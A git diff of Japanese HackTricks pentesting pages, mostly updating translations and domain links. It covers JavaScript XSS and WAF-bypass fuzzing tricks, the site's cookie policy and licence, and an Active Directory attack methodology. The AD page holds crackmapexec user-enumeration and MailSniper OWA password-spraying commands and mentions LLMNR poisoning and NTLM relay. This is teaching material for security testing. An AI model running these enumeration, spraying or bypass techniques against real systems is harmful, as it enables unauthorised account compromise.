- **`request_uris`**クライアントの許可されたリクエストURIをリストし、サーバーが認可プロセスの開始時にこれらのURIを取得する場合に悪用される可能性があります。
**悪用戦略:**

View File

@ -55,7 +55,7 @@ log.push([i,j])
}
console.log(log)//[35,33],[47,47]
```
### 有効なJS改行文字
### 有効なJS改行文字
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10) //0x0a
@ -110,7 +110,7 @@ console.log(log) //34,39,47,96
```
### **サロゲートペア BF**
この技術はXSSにはあまり役立ちませんが、WAFの保護を回避するのには役立つかもしれません。このPythonコードは2バイトを入力として受け取り、最初のバイトがハイサロゲートペアの最後のバイトであり、最後のバイトがローサロゲートペアの最後のバイトであるサロゲートペアを検索します。
この技術はXSSにはあまり役立ちませんが、WAFの保護を回避するのには役立つかもしれません。このPythonコードは2バイトを入力として受け取り、最初のバイトがハイサロゲートペアの最後のバイトであり、最後のバイトがローサロゲートペアの最後のバイトであるサロゲートペアを検索します。
```python
def unicode(findHex):
for i in range(0,0xFFFFF):
@ -152,7 +152,7 @@ document.body.append(anchor)
a = document.createElement("a")
log = []
for (let i = 0; i <= 0x10ffff; i++) {
a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz`
a.href = `${String.fromCodePoint(i)}https://hacktricks.wiki`
if (a.hostname === "hacktricks.xyz") {
log.push(i)
}
@ -170,7 +170,7 @@ log.push(i)
}
console.log(log) //9,10,13,47,92
```
### HTML ファジング
### HTML フuzzing
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 38). Kindle Edition.
@ -197,7 +197,7 @@ Portswiggerのツール**Hackability inspector**は、javascriptオブジェク
## "--" 代入
減算演算子`--`は、代入でもあります。この演算子は値を取り、その値を1減算します。その値が数値でない場合、`NaN`に設定されます。これは**環境から変数の内容を削除する**ために使用できます。
減算演算子`--`は、代入でもあります。この演算子は値を取り、その値を1減算します。その値が数値でない場合、`NaN`に設定されます。これは**環境から変数の内容を削除する**ために使用できます。
![](<../../images/image (993).png>)
@ -241,7 +241,7 @@ test_apply.apply(null, ["arg1", "arg2"])
```
### アロー関数
アロー関数は、1行で関数をより簡単に生成することを可能にします(理解していれば)。
アロー関数を使用すると、1行で関数をより簡単に生成できます(理解していれば)。
```javascript
// Traditional
function (a){ return a + 1; }
@ -264,7 +264,7 @@ let a = 4;
let b = 2;
() => a + b + 1;
```
ほとんどの前の関数は、保存して呼び出す場所がないため、実際には無駄です。例として、`plusone`関数を作成します:
だから、前の関数のほとんどは実際には無駄です。なぜなら、それらを保存して呼び出す場所がないからです。例として `plusone` 関数を作成します:
```javascript
// Traductional
function plusone(a) {
@ -315,7 +315,7 @@ console.log(String(afunc)) //This will print the code of the function
console.log(this.afunc.toString()) //This will print the code of the function
console.log(global.afunc.toString()) //This will print the code of the function
```
名前のない**関数**の場合でも、内部から**関数コード**を印刷することができます
名前のない**関数**の場合でも、内部から**関数コード**を印刷することができます:
```javascript
;(function () {
return arguments.callee.toString()
@ -343,9 +343,9 @@ return String(this)
/* Hidden commment */
})()
```
## サンドボックスエスケープ - windowオブジェクトの回復
## サンドボックスエスケープ - ウィンドウオブジェクトの回復
Windowオブジェクトは、alertやevalのようなグローバルに定義された関数にアクセスすることを可能にします。
The Window object allows to reach globally defined functions like alert or eval.
```javascript
// Some ways to access window
window.eval("alert(1)")
@ -424,7 +424,7 @@ origValue = val
debugAccess(Object.prototype, "ppmap")
```
## ペイロードをテストするための自動ブラウザアクセス
## 自動ブラウザアクセスによるペイロードのテスト
```javascript
//Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md
const puppeteer = require("puppeteer")

View File

@ -1,17 +1,17 @@
# Cookies Policy
最終更新日: 2023年4月2日
最終更新日: 2023年2月4
### Introduction
このCookiesポリシーは、HackTricksチーム「HackTricks」、「私たち」、「私たちの」が所有および運営する以下のウェブサイトに適用されます
* hacktricks.xyz
* [www.hacktricks.xyz](http://www.hacktricks.xyz/)
* book.hacktricks.xyz
* cloud.hacktricks.xyz
* hacktricks.wiki
* [www.hacktricks.wiki](https://www.hacktricks.wiki/)
* book.hacktricks.wiki
* cloud.hacktricks.wiki
これらのウェブサイトのいずれかを使用することにより、あなたはこのCookiesポリシーに従ってクッキーの使用に同意したことになります。同意しない場合は、ブラウザの設定でクッキーを無効にするか、私たちのウェブサイトの使用を控えてください。
これらのウェブサイトのいずれかを使用することにより、あなたはこのCookiesポリシーに従ったクッキーの使用に同意するものとします。もし同意しない場合は、ブラウザの設定でクッキーを無効にするか、私たちのウェブサイトの使用を控えてください。
### What are cookies?
@ -19,26 +19,26 @@
### How we use cookies
私たちは、以下の目的でウェブサイトでクッキーを使用しています:
私たちは、以下の目的でウェブサイトでクッキーを使用します:
1. 必須クッキー:これらのクッキーは、ユーザー認証の有効化、セキュリティの維持、あなたの設定の記憶など、私たちのウェブサイトの基本的な機能に必要です。
2. パフォーマンスクッキー:これらのクッキーは、訪問者が私たちのウェブサイトとどのように相互作用しているかを理解するのに役立ち、情報を匿名で収集および報告します。これにより、ウェブサイトのパフォーマンスとユーザー体験を向上させることができます。
3. 機能性クッキー:これらのクッキーは、言語や地域など、あなたが行った選択をウェブサイトが記憶できるようにし、よりパーソナライズされた体験を提供します。
4. ターゲティング/広告クッキー:これらのクッキーは、あなたの興味、閲覧履歴、私たちのウェブサイトとの相互作用に基づいて、関連する広告やマーケティングコミュニケーションを提供するために使用されます。
1. Essential cookies: これらのクッキーは、ユーザー認証の有効化、セキュリティの維持、あなたの設定の記憶など、私たちのウェブサイトの基本的な機能に必要です。
2. Performance cookies: これらのクッキーは、訪問者が私たちのウェブサイトとどのように相互作用しているかを理解するのに役立ち、情報を匿名で収集および報告します。これにより、ウェブサイトのパフォーマンスとユーザー体験を向上させることができます。
3. Functionality cookies: これらのクッキーは、あなたが選択した言語や地域などの選択肢を記憶し、よりパーソナライズされた体験を提供することを可能にします。
4. Targeting/advertising cookies: これらのクッキーは、あなたの興味、閲覧履歴、私たちのウェブサイトとの相互作用に基づいて、関連する広告やマーケティングコミュニケーションを配信するために使用されます。
さらに、book.hacktricks.xyzおよびcloud.hacktricks.xyzのページはGitbookでホストされています。Gitbookのクッキーに関する詳細情報は、[https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy)で確認できます。
さらに、book.hacktricks.wikiおよびcloud.hacktricks.wikiのページはGitbookでホストされています。Gitbookのクッキーに関する詳細情報は、[https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy)で確認できます。
### Third-party cookies
私たち自身のクッキーに加えて、ウェブサイトの使用統計を報告し、広告を配信し、ソーシャルメディア共有ボタンを有効にするために、サードパーティのクッキーを使用することもあります。サードパーティのクッキーの使用は、それぞれのプライバシーポリシーに従います。
私たち自身のクッキーに加えて、ウェブサイトの使用統計を報告し、広告を配信し、ソーシャルメディア共有ボタンを有効にするために、サードパーティのクッキーも使用する場合があります。サードパーティのクッキーの使用は、それぞれのプライバシーポリシーに従います。
Managing cookies
ほとんどのウェブブラウザでは、設定を通じてクッキーを管理できます。デバイス上でクッキーの使用をブロック、削除、または制限することを選択できます。ただし、クッキーを無効にすると、私たちのウェブサイトの機能性やパフォーマンスに影響を与える可能性があることに注意してください。
ほとんどのウェブブラウザでは、設定を通じてクッキーを管理することができます。クッキーの使用をブロック、削除、または制限することを選択できます。ただし、クッキーを無効にすると、私たちのウェブサイトの機能性やパフォーマンスに影響を与える可能性があることに注意してください。
Changes to this Cookies Policy
私たちは、実践や関連法の変更を反映するために、このCookiesポリシーを随時更新することがあります。最新のクッキーの実践に関する情報を定期的に確認することをお勧めします。
私たちは、実践や関連法の変更を反映するために、このCookiesポリシーを随時更新する場合があります。私たちのクッキーの実践に関する最新情報を得るために、このページを定期的に確認することをお勧めします。
### Contact us

View File

@ -7,15 +7,15 @@
> [!TIP]
> これらは**HackTricksプロジェクトの価値**です:
>
> - **すべての**インターネットに**教育的ハッキング**リソースへの**無料**アクセスを提供します。
> - **すべての**インターネットに**無料**で**教育的ハッキング**リソースを提供します。
> - ハッキングは学ぶことに関するものであり、学ぶことはできるだけ無料であるべきです。
> - この本の目的は、包括的な**教育リソース**として機能することです。
> - コミュニティが公開する素晴らしい**ハッキング**技術を**保存**し、**元の****著者**にすべての**クレジット**を与えます。
> - コミュニティが公開した素晴らしい**ハッキング**技術を**保存**し、**元の****著者**にすべての**クレジット**を与えます。
> - **他の人からのクレジットは必要ありません**、私たちはただ皆のためにクールなトリックを保存したいだけです。
> - 私たちはHackTricksで**自分たちの研究**も書きます。
> - いくつかのケースでは、**HackTricksに技術の重要な部分の要約を書き**、**詳細については元の投稿を訪れることを読者に勧めます**。
> - 私たちはまた、HackTricksで**自分たちの研究**を書きます。
> - いくつかのケースでは、**HackTricksに技術の重要な部分の要約を書き**、**詳細については元の投稿を訪れることを勧めます**。
> - 本の中のすべてのハッキング技術を**整理**して、**よりアクセスしやすく**します。
> - HackTricksチームは、人々が**より早く学べるように**コンテンツを**整理するためだけに**何千時間も無料で捧げてきました。
> - HackTricksチームは、人々が**より早く学べるように**コンテンツを**整理するためだけに**数千時間を無料で捧げました。
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -25,39 +25,39 @@
>
> - **これらのリソースに感謝します、どうやってお礼を言えますか?**
HackTricksチームに感謝の意を表すには、[**@hacktricks_live**](https://twitter.com/hacktricks_live)をメンションしてツイートすることができます。\
HackTricksチームに感謝の意を表すには、[**@hacktricks_live**](https://twitter.com/hacktricks_live)をメンションしてツイートしてください。\
特に感謝している場合は、[**ここでプロジェクトを支援することもできます**](https://github.com/sponsors/carlospolop)。\
そして、**Githubプロジェクトにを付けるのを忘れないでください!**(リンクは下にあります)。
そして、**Githubプロジェクトにスターを付けるのを忘れないでください!**(リンクは下にあります)。
> [!TIP]
>
> - **プロジェクトにどのように貢献できますか?**
新しいヒントやトリックをコミュニティと**共有するか、書籍で見つけたバグを修正**することができます。該当するGithubページに**プルリクエスト**を送信してください:
新しいヒントやトリックをコミュニティと共有したり、本の中で見つけたバグを修正したりすることができます。該当するGithubページに**プルリクエスト**を送信してください:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
**Githubプロジェクトにを付けるのを忘れないでください!**
**Githubプロジェクトにスターを付けるのを忘れないでください!**
> [!TIP]
>
> - **HackTricksのコンテンツをコピーして自分のブログに載せてもいいですか**
はい、できますが、**コンテンツがどの特定のリンクから取られたかを忘れずに言及してください**。
はい、できますが、**コンテンツがどこから取られたかの特定のリンクを忘れずに記載してください**。
> [!TIP]
>
> - **HackTricksのページをどのように引用できますか**
情報を取得したページの**リンク**が表示されていれば十分です。\
BibTeXが必要な場合は、次のようなものを使用できます:
情報を取得したページの**リンク**が表示されていれば、それで十分です。\
Bibtexが必要な場合は、次のようなものを使用できます:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
title = {Title of the Specific Page},
year = {Year of Last Update (check it at the end of the page)},
url = {\url{https://book.hacktricks.xyz/specific-page}},
url = {\url{https://book.hacktricks.wiki/specific-page}},
}
```
> [!WARNING]
@ -66,43 +66,43 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
**私はそうしたくありません**。それは**誰にも利益をもたらさない**でしょう。すべての**コンテンツはすでに公式のHackTricks書籍で無料で公開されています**。
消えてしまうのが心配な場合は、Githubでフォークするか、ダウンロードしてください。すでに無料ですから。
消えてしまうのが心配な、Githubでフォークするか、ダウンロードしてください。すでに無料ですから。
> [!WARNING]
>
> - **なぜスポンサーがいるのですかHackTricks書籍は商業目的ですか**
最初の**HackTricks**の**価値**は、**全世界に**向けて**無料**ハッキング教育リソースを提供することです。HackTricksチームはこのコンテンツを提供するために**何千時間も**捧げてきました。再度、**無料**です。
最初の**HackTricks**の**価値**は、**全世界に無料**ハッキング教育リソースを提供することです。HackTricksチームはこのコンテンツを提供するために**何千時間も**捧げてきました。再度、**無料**です。
HackTricks書籍が**商業目的**で作られていると思うなら、あなたは**完全に間違っています**。
私たちはスポンサーがいるのは、すべてのコンテンツが無料であっても、**コミュニティが私たちの仕事を評価する機会を提供したい**からです。したがって、私たちは人々に[**Githubスポンサー**](https://github.com/sponsors/carlospolop)を通じてHackTricksに寄付するオプションを提供し、**関連するサイバーセキュリティ企業**にHackTricksをスポンサーしてもらい、**広告を掲載する**ことを許可しています。広告は常に**目立つ**場所に配置されますが、**学習**プロセスを妨げないようにしています。
私たちはスポンサーを持っています。なぜなら、すべてのコンテンツが無料であっても、私たちの仕事を**評価してもらう可能性をコミュニティに提供したいからです**。したがって、私たちは人々に[**Githubスポンサー**](https://github.com/sponsors/carlospolop)を通じてHackTricksに寄付するオプションを提供し、**関連するサイバーセキュリティ企業**にHackTricksをスポンサーしてもらい、**広告を掲載する**ことを許可しています。広告は常に**目立つ**場所に配置されますが、**学習**プロセスを妨げないようにしています。
HackTricksは、HackTricksよりもはるかに少ないコンテンツを持つ他のブログのように、煩わしい広告で溢れていることはありません。なぜなら、HackTricksは商業目的で作られていないからです。
> [!CAUTION]
>
> - **私のブログ投稿に基づいているが参照されていないHackTricksのページを見つけたらどうすればよいですか?**
> - **HackTricksのページが私のブログ投稿に基づいているが、参照されていない場合はどうすればよいですか?**
**申し訳ありません。これは起こるべきではありません**。HackTricksページのリンクとあなたのブログのリンクをGithubの問題、Twitter、Discordなどでお知らせください。**私たちはそれを確認し、できるだけ早く追加します**。
**申し訳ありません。これは起こるべきではありません**。Githubの問題、Twitter、Discordなどを通じて、HackTricksページのリンクとあなたのブログのリンクをお知らせください。**私たちはそれを確認し、できるだけ早く追加します**。
> [!CAUTION]
>
> - **私のブログのコンテンツがHackTricksにあり、そこにあってほしくない場合はどうすればよいですか**
HackTricksにあなたのページへのリンクがあることは
HackTricksにあなたのページへのリンクがあることは次のような利点があります
- あなたの**SEO**を改善します
- コンテンツが**15以上の言語に翻訳され**、より多くの人々がこのコンテンツにアクセスできるようになります
- **HackTricksは**人々に**あなたのページをチェックすることを奨励します**何人かの人々が、彼らのページがHackTricksにあるために訪問者が増えたと私たちに言っています)
- **HackTricksは**人々に**あなたのページをチェックすることを奨励します**何人かの人々が、彼らのページがHackTricksに掲載されて以来、より多くの訪問を受けていると私たちに言っています)
しかし、もしあなたがまだあなたのブログのコンテンツをHackTricksから削除したい場合は、お知らせください。私たちは確実に**あなたのブログへのすべてのリンク**とそれに基づくコンテンツを**削除します**。
しかし、もしあなたがまだあなたのブログのコンテンツをHackTricksから削除したい場合は、私たちに知らせてください。私たちは確実に**あなたのブログへのすべてのリンク**とそれに基づくコンテンツを**削除します**。
> [!CAUTION]
>
> - **HackTricksにコピーペーストされたコンテンツを見つけたどうすればよいですか?**
> - **HackTricksにコピーペーストされたコンテンツを見つけた場合はどうすればよいですか?**
私たちは常に**元の著者にすべてのクレジットを与えます**。元のソースが参照されていないコピー&ペーストされたコンテンツのあるページを見つけたら、お知らせください。私たちはそれを**削除する**か、**テキストの前にリンクを追加する**か、**リンクを追加して書き直す**かします。
私たちは常に**元の著者にすべてのクレジットを与えます**。元のソースが参照されていないコピー&ペーストされたコンテンツのあるページを見つけた場合は、私たちに知らせてください。私たちはそれを**削除する**か、**テキストの前にリンクを追加する**か、**リンクを追加して書き直す**かします。
## LICENSE
@ -110,28 +110,34 @@ Copyright © All rights reserved unless otherwise specified.
#### License Summary:
- Attribution: あなたは自由に:
- Share — いかなる媒体または形式であっても、資料をコピーして再配布できます。
- Adapt — 資料をリミックス、変形、構築できます。
- Attribution: You are free to:
- Share — copy and redistribute the material in any medium or format.
- Adapt — remix, transform, and build upon the material.
#### Additional Terms:
- Third-Party Content: このブログ/書籍の一部には、他のブログや出版物からの抜粋など、他のソースからのコンテンツが含まれている場合があります。そのようなコンテンツの使用は、公正使用の原則に基づくか、該当する著作権者からの明示的な許可を得て行われます。第三者コンテンツに関する特定のライセンス情報については、元のソースを参照してください。
- Authorship: HackTricksによって著作された元のコンテンツは、このライセンスの条件に従います。共有または適応する際には、この作品を著者に帰属させることをお勧めします。
- Third-Party Content: Some parts of this blog/book may include content from other sources, such as excerpts from other blogs or publications. The use of such content is done under the principles of fair use or with explicit permission from the respective copyright holders. Please refer to the original sources for specific licensing information regarding third-party content.
- Authorship: The original content authored by HackTricks is subject to the terms of this license. You are encouraged to attribute this work to the author when sharing or adapting it.
#### Exemptions:
- Commercial Use: このコンテンツの商業利用に関する問い合わせは、私にご連絡ください。
- Commercial Use: For inquiries regarding commercial use of this content, please contact me.
このライセンスは、コンテンツに関する商標またはブランディングの権利を付与するものではありません。このブログ/書籍に掲載されているすべての商標およびブランディングは、それぞれの所有者の財産です。
This license does not grant any trademark or branding rights in relation to the content. All trademarks and branding featured in this blog/book are the property of their respective owners.
**HackTricksにアクセスまたは使用することにより、あなたはこのライセンスの条件に従うことに同意します。これらの条件に同意しない場合は、このウェブサイトにアクセスしないでください。**
**By accessing or using HackTricks, you agree to abide by the terms of this license. If you do not agree with these terms, please, do not access this website.**
## **免責事項**
## **Disclaimer**
> [!CAUTION]
> この書籍「HackTricks」は、教育および情報提供の目的のみを意図しています。この書籍内のコンテンツは「現状のまま」提供されており、著者および出版社は、情報、製品、サービス、またはこの書籍に含まれる関連グラフィックスの完全性、正確性、信頼性、適合性、または可用性について、明示または暗示のいかなる表明や保証も行いません。そのため、そのような情報に依存することは、厳密に自己責任となります。
> この本『HackTricks』は、教育および情報提供の目的のみを意図しています。この本の内容は「現状のまま」で提供されており、著者および出版社は、情報、製品、サービス、またはこのに含まれる関連グラフィックスの完全性、正確性、信頼性、適合性、または可用性について、明示または暗示のいかなる表明や保証も行いません。したがって、そのような情報に依存することは、厳密に自己責任となります。
>
> 著者および出版社は、データや利益の損失から生じる、またはこの書籍の使用に関連するいかなる損失や損害についても、一切責任を負いません。
> 著者および出版社は、データや利益の損失から生じる、またはこのの使用に関連するいかなる損失や損害についても、一切責任を負いません。
>
> さらに、この書籍に記載されている技術やヒントは、教育および情報提供の目的のみを意図しており、違法または悪意のある活動に使用すべ
> さらに、この本に記載されている技術やヒントは、教育および情報提供の目的のみで提供されており、違法または悪意のある活動に使用すべきではありません。著者および出版社は、違法または非倫理的な活動を容認または支持せず、この本に含まれる情報の使用は、ユーザーの自己責任と裁量に委ねられます。
>
> ユーザーは、この本に含まれる情報に基づいて行った行動に対して単独で責任を負い、ここに記載されている技術やヒントを実行しようとする際には、常に専門的なアドバイスと支援を求めるべきです。
>
> この本を使用することにより、ユーザーは著者および出版社を、この本またはその中に含まれる情報の使用から生じる損害、損失、または害に対する一切の責任および責任から解放することに同意します。
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,9 +4,9 @@
## 基本概要
**Active Directory**は、**ネットワーク管理者**が**ドメイン**、**ユーザー**、および**オブジェクト**を効率的に作成および管理できるようにする基盤技術です。これはスケーラブルに設計されており、大規模なユーザーを管理可能な**グループ**および**サブグループ**に整理し、さまざまなレベルで**アクセス権**を制御します。
**Active Directory**は、**ネットワーク管理者**が**ドメイン**、**ユーザー**、および**オブジェクト**を効率的に作成および管理できるようにする基盤技術です。これはスケーラブルに設計されており、大な数のユーザーを管理可能な**グループ**および**サブグループ**に整理し、さまざまなレベルで**アクセス権**を制御します。
**Active Directory**の構造は、**ドメイン**、**ツリー**、および**フォレスト**の3つの主要な層で構成されています。**ドメイン**は、共通のデータベースを共有する**ユーザー**や**デバイス**などのオブジェクトのコレクションを含みます。**ツリー**は、共有構造によってリンクされたこれらのドメインのグループであり、**フォレスト**は、相互に**信頼関係**を持つ複数のツリーのコレクションを表し、組織構造の最上層を形成します。特定の**アクセス**および**通信権**は、これらの各レベルで指定できます。
**Active Directory**の構造は、**ドメイン**、**ツリー**、および**フォレスト**の3つの主要な層で構成されています。**ドメイン**は、共通のデータベースを共有する**ユーザー**や**デバイス**などのオブジェクトのコレクションを含みます。**ツリー**は、共有構造によってリンクされたこれらのドメインのグループであり、**フォレスト**は、**信頼関係**を通じて相互接続された複数のツリーのコレクションを表し、組織構造の最上層を形成します。特定の**アクセス**および**通信権**は、これらの各レベルで指定できます。
**Active Directory**内の主要な概念には以下が含まれます:
@ -21,8 +21,8 @@
1. **ドメインサービス** データストレージを集中化し、**ユーザー**と**ドメイン**間の相互作用を管理し、**認証**および**検索**機能を含みます。
2. **証明書サービス** 安全な**デジタル証明書**の作成、配布、および管理を監督します。
3. **軽量ディレクトリサービス** **LDAPプロトコル**を通じてディレクトリ対応アプリケーションをサポートします。
4. **ディレクトリ連携サービス** 複数のWebアプリケーションでのユーザー認証を単一のセッションで行う**シングルサインオン**機能を提供します。
5. **権利管理** 著作権資料を保護し、その無断配布および使用を規制するのを支援します。
4. **ディレクトリ連携サービス** 複数のWebアプリケーションでユーザーを単一のセッションで認証するための**シングルサインオン**機能を提供します。
5. **権利管理** 著作権資料を保護するために、その無許可の配布および使用を規制します。
6. **DNSサービス** **ドメイン名**の解決に重要です。
詳細な説明については、[**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)を確認してください。
@ -66,10 +66,10 @@ AD環境にアクセスできるが、クレデンシャル/セッションが
- **ネットワークを毒する**
- [**Responderを使用してサービスを偽装してクレデンシャルを収集する**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [**リレー攻撃を悪用してホストにアクセスする**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- [**悪意のあるUPnPサービスを公開してクレデンシャルを収集する**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
- [**evil-Sを使用して偽のUPnPサービスを公開してクレデンシャルを収集する**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- 内部文書、ソーシャルメディア、サービス(主にウェブ)からユーザー名/名前を抽出し、公開されている情報からも収集します。
- 会社の従業員の完全な名前が見つかった場合、さまざまなAD **ユーザー名の規則**を試すことができます([**これを読む**](https://activedirectorypro.com/active-directory-user-naming-convention/)。最も一般的な規則は_NameSurname_、_Name.Surname_、_NamSur_各3文字、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 _ランダムな文字と3つのランダムな数字_abc123です。
- 会社の従業員の完全な名前が見つかった場合、さまざまなAD**ユーザー名の規則**を試すことができます([**これを読む**](https://activedirectorypro.com/active-directory-user-naming-convention/)。最も一般的な規則は_NameSurname_、_Name.Surname_、_NamSur_各3文字、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3つの_ランダムな文字と3つのランダムな数字_abc123です。
- ツール:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@ -90,7 +90,7 @@ crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
```
- **OWA (Outlook Web Access) サーバー**
ネットワーク内にこれらのサーバーのいずれかを見つけた場合、**ユーザー列挙を実行することもできます**。たとえば、ツール [**MailSniper**](https://github.com/dafthack/MailSniper) を使用できます:
ネットワーク内にこれらのサーバーの1つを見つけた場合、**ユーザー列挙を実行することもできます**。例えば、ツール[**MailSniper**](https://github.com/dafthack/MailSniper)を使用することができます:
```bash
ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
@ -103,23 +103,23 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
> ユーザー名のリストは[**このgithubリポジトリ**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\*やこのリポジトリ([**統計的に可能性の高いユーザー名**](https://github.com/insidetrust/statistically-likely-usernames))で見つけることができます。
> ユーザー名のリストは[**このgithubリポ**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\*やこのリポ[**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames))で見つけることができます。
>
> ただし、事前に実施したリコンステップから**会社で働いている人々の名前**を持っている必要があります。名前と姓があれば、スクリプト[**namemash.py**](https://gist.github.com/superkojiman/11076951)を使用して、潜在的な有効なユーザー名を生成できます。
### 1つまたは複数のユーザー名を知っている場合
さて、有効なユーザー名はすでに知っているがパスワードない場合... 次のことを試してください:
さて、有効なユーザー名はすでに知っているがパスワードない場合... 次のことを試してください:
- [**ASREPRoast**](asreproast.md): ユーザーが**_DONT_REQ_PREAUTH_**属性を持っていない場合、そのユーザーのために**AS_REPメッセージを要求**でき、ユーザーのパスワードの派生によって暗号化されたデータが含まれます。
- [**パスワードスプレー**](password-spraying.md): 発見された各ユーザーに対して最も**一般的なパスワード**を試してみましょう。もしかしたら、あるユーザーが悪いパスワードを使用しているかもしれません(パスワードポリシーに注意してください!)。
- [**Password Spraying**](password-spraying.md): 発見した各ユーザーに対して最も**一般的なパスワード**を試してみましょう。もしかしたら、あるユーザーが悪いパスワードを使用しているかもしれません(パスワードポリシーに注意してください!)。
- OWAサーバーを**スプレー**して、ユーザーのメールサーバーへのアクセスを試みることもできます。
{{#ref}}
password-spraying.md
{{#endref}}
### LLMNR/NBT-NSポイズニング
### LLMNR/NBT-NS ポイズニング
ネットワークの**プロトコルをポイズニング**することで、いくつかのチャレンジ**ハッシュ**を**取得**できるかもしれません:
@ -127,11 +127,11 @@ password-spraying.md
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### NTMLリレー
### NTML リレー
アクティブディレクトリを列挙できた場合、**より多くのメールとネットワークの理解が得られます**。NTMLの[**リレー攻撃**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\*を強制してAD環境にアクセスできるかもしれません。
### NTLMクレデンシャルの盗難
### NTLM クレデンシャルの盗難
**nullまたはゲストユーザー**で他のPCや共有に**アクセス**できる場合、**ファイルを配置**SCFファイルなどして、何らかの形でアクセスされると**NTML認証をトリガー**し、**NTLMチャレンジを盗む**ことができます:
@ -139,9 +139,9 @@ password-spraying.md
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## 認証情報/セッションを使用したアクティブディレクトリの列挙
## 資格情報/セッションを使用したアクティブディレクトリの列挙
このフェーズでは、**有効なドメインアカウントの認証情報またはセッションを侵害している必要があります。** 有効な認証情報またはドメインユーザーとしてのシェルがある場合、**前に示したオプションは他のユーザーを侵害するためのオプションとして依然として有効です**。
このフェーズでは、**有効なドメインアカウントの資格情報またはセッションを侵害している必要があります。** 有効な資格情報またはドメインユーザーとしてのシェルがある場合、**前に示したオプションは他のユーザーを侵害するためのオプションとして依然として有効です**。
認証された列挙を開始する前に、**Kerberosダブルホップ問題**が何であるかを知っておく必要があります。
@ -151,33 +151,33 @@ kerberos-double-hop-problem.md
### 列挙
アカウントを侵害することは、**ドメイン全体を侵害するための大きなステップ**です。なぜなら、**アクティブディレクトリの列挙**を開始できるからです:
アカウントを侵害することは、**ドメイン全体を侵害するための大きなステップ**です。なぜなら、**アクティブディレクトリの列挙を開始できるからです**
[**ASREPRoast**](asreproast.md)に関しては、すべての可能な脆弱なユーザーを見つけることができ、[**パスワードスプレー**](password-spraying.md)に関しては、**すべてのユーザー名のリスト**を取得し、侵害されたアカウントのパスワード、空のパスワード、新しい有望なパスワードを試すことができます。
[**ASREPRoast**](asreproast.md)に関しては、すべての可能な脆弱なユーザーを見つけることができ、[**Password Spraying**](password-spraying.md)に関しては、**すべてのユーザー名のリストを取得し、侵害されたアカウントのパスワード、空のパスワード、新しい有望なパスワードを試すことができます**
- [**CMDを使用して基本的なリコンを実行**](../basic-cmd-for-pentesters.md#domain-info)できます。
- [**PowerShellを使用してリコン**](../basic-powershell-for-pentesters/index.html)することもでき、よりステルス性があります。
- [**PowerViewを使用**](../basic-powershell-for-pentesters/powerview.md)して、より詳細な情報を抽出できます。
- アクティブディレクトリのリコンに最適なツールは[**BloodHound**](bloodhound.md)です。これは**あまりステルス性がありません**(使用する収集方法によります)が、**それを気にしないのであれば**、ぜひ試してみてください。ユーザーがRDPできる場所を見つけたり、他のグループへのパスを見つけたります。
- **他の自動化されたAD列挙ツールは** [**AD Explorer**](bloodhound.md#ad-explorer)**、** [**ADRecon**](bloodhound.md#adrecon)**、** [**Group3r**](bloodhound.md#group3r)**、** [**PingCastle**](bloodhound.md#pingcastle)**。**
- [**PowerShellを使用してリコンを実行**](../basic-powershell-for-pentesters/index.html)することもでき、よりステルス性があります。
- [**PowerViewを使用**](../basic-powershell-for-pentesters/powerview.md)して、より詳細な情報を抽出することもできます。
- アクティブディレクトリのリコンに最適なツールは[**BloodHound**](bloodhound.md)です。**あまりステルス性はありません**(使用する収集方法によります)が、**それを気にしないのであれば、ぜひ試してみてください**。ユーザーがRDPできる場所を見つけたり、他のグループへのパスを見つけたりできます。
